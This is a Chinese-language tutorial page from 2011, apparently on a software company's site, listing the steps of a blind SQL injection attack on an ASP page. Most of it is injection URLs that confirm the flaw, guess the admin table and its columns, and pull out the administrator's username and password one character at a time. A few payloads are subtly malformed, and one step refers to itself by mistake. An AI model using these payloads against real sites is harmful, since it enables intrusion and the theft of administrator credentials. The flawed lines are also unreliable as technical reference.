在线咨询
QQ咨询
服务热线
服务热线:13125520620
TOP

SQL注入利用的几大步骤-数据库

发布时间:2011-11-12 浏览:4936

  第一步:

  http://www.aaa.com/./show.asp?id=259
  http://www.aaa.com/./show.asp?id=259 and 1=1
  http://www.aaa.com/./show.asp?id=259 and 1=2
  简单判断是否可以注入


  第二步:

  猜测管理员登陆界面!什么admin.asp、admin_admin.asp之类的,猜不出来的话,快点想别的出路!猜出来了再继续猜:

  http://www.aaa.com/./show.asp?id=259%20and%20exists%20(select%20*%20from%20admin)

  然后猜测登陆账户存在于哪个表中,这里猜的是admin。(假设存在)

  第三步:

  接下来是个关键!猜测admin表中有哪些字段,下面三条分别是id、username、password是否存在的猜测(假设都存在)。可以根据上面登陆界面里的变量名来猜字段!

  http://www.aaa.com/./show.asp?id=259%20and%20exists%20(select%20id%20from%20admin)
  http://www.aaa.com/./show.asp?id=259%20and%20exists%20(select%20username%20from%20admin)
  http://www.aaa.com/./show.asp?id=259%20and%20exists%20(select%20password%20from%20admin)

  第四步:

  http://www.aaa.com/./show.asp?id=259%20and%20exists%20(select%20id%20from%20admin%20where%20id=1)

  猜测admin的ID是多少,注意我用的语法格式,这里假设猜出来ID=1。

  http://www.aaa.com/./show.asp?id=259and%20exists%20(select%20id%20from%20admin%20where len(username)=6%20and%20id=1)

  猜测username长度是否为6。

http://www.aaa.com/./show.asp?id=259%20exists%20(select%20id%20from%20admin%20where%20asc(mid(username,1,1))>110%20and%20id=1)

  然后再猜他的用户名是什么,有的时候不能用mid,所以我一般都是直接用left函数猜,比如:
  http://www.aaa.com/./show.asp?id=259%20exists%20(select%20id%20from%20admin%20where%20left(username,1)='a')

  第五步:

  重复第五步,只不过将username换成password而已。

TAG
软件定制,软件开发,瀚森HANSEN
0
该内容对我有帮助